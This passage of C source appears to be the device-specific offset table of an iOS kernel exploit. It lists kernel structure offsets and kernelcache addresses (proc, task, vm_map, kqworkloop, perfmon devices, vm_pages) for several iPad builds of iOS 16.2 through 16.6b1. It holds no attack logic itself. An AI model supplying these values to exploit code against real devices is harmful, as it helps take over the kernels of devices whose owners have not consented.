.fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a22d178,\n                .kernelcache__gPhysBase = 0xfffffff00781bd48,\n                .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n                .kernelcache__gVirtBase = 0xfffffff007819f28,\n                .kernelcache__perfmon_devices = 0xfffffff00a268380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n                .kernelcache__ptov_table = 0xfffffff0077cf288,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n                .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n            },\n\n            // iOS 16.4\n                {\n                .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20E246\",\n                .device_id = \"iPad11,4\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a2e9208,\n                .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n                .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078f2178,\n                .kernelcache__perfmon_devices = 0xfffffff00a327500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n                .kernelcache__ptov_table = 0xfffffff0078a7160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n                .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n            },\n\n            // iOS 16.4.1\n                    {\n                .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20E252\",\n                .device_id = \"iPad11,4\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a2e9208,\n                .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n                .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078f2178,\n                .kernelcache__perfmon_devices = 0xfffffff00a327500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n                .kernelcache__ptov_table = 0xfffffff0078a7160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n                .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n            },\n\n            // iOS 16.5\n                {\n                .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20F66\",\n                .device_id = \"iPad11,4\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a2f1288,\n                .kernelcache__gPhysBase = 0xfffffff0078f80e0,\n                .kernelcache__gPhysSize = 0xfffffff0078f80e0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078f62b8,\n                .kernelcache__perfmon_devices = 0xfffffff00a32f500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007ea9c8c,\n                .kernelcache__ptov_table = 0xfffffff0078ab160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a32e990,\n                .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a32e988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ef8ad8,\n            },\n\n            // iOS 16.6b1\n                {\n                .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n                .build_version = \"20G5026e\",\n                .device_id = \"iPad11,4\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a23dab0,\n                .kernelcache__gPhysBase = 0xfffffff0078dc288,\n                .kernelcache__gPhysSize = 0xfffffff0078dc288 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078da440,\n                .kernelcache__perfmon_devices = 0xfffffff00a27d530,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e7e434,\n                .kernelcache__ptov_table = 0xfffffff00788f9a0,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a27c910,\n                .kernelcache__vm_pages = 0xfffffff00788c0f8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788e950,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a27c908,\n                .kernelcache__vn_kqfilter = 0xfffffff007eccc44,\n            },\n\n\n            // iPad 8th Gen Wifi //\n\n            // iOS 16.2\n                {\n                .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20C65\",\n                .device_id = \"iPad11,6\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a0e1178,\n                .kernelcache__gPhysBase = 0xfffffff0077ebc60,\n                .kernelcache__gPhysSize = 0xfffffff0077ebc60 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0077e9e40,\n                .kernelcache__perfmon_devices = 0xfffffff00a11c380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e3b3ac,\n                .kernelcache__ptov_table = 0xfffffff00779f248,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a11b800,\n                .kernelcache__vm_pages = 0xfffffff00779c080,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00779e208,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a11b7f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007e8da44,\n            },\n\n            // iOS 16.3\n                {\n                .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20D47\",\n                .device_id = \"iPad11,6\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a0e1178,\n                .kernelcache__gPhysBase = 0xfffffff0077e7d48,\n                .kernelcache__gPhysSize = 0xfffffff0077e7d48 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0077e5f28,\n                .kernelcache__perfmon_devices = 0xfffffff00a11c380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e37398,\n                .kernelcache__ptov_table = 0xfffffff00779b288,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a11b800,\n                .kernelcache__vm_pages = 0xfffffff0077980c0,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00779a248,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a11b7f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007e89a20,\n            },\n\n            // iOS 16.3.1\n                {\n                .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20D67\",\n                .device_id = \"iPad11,6\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n    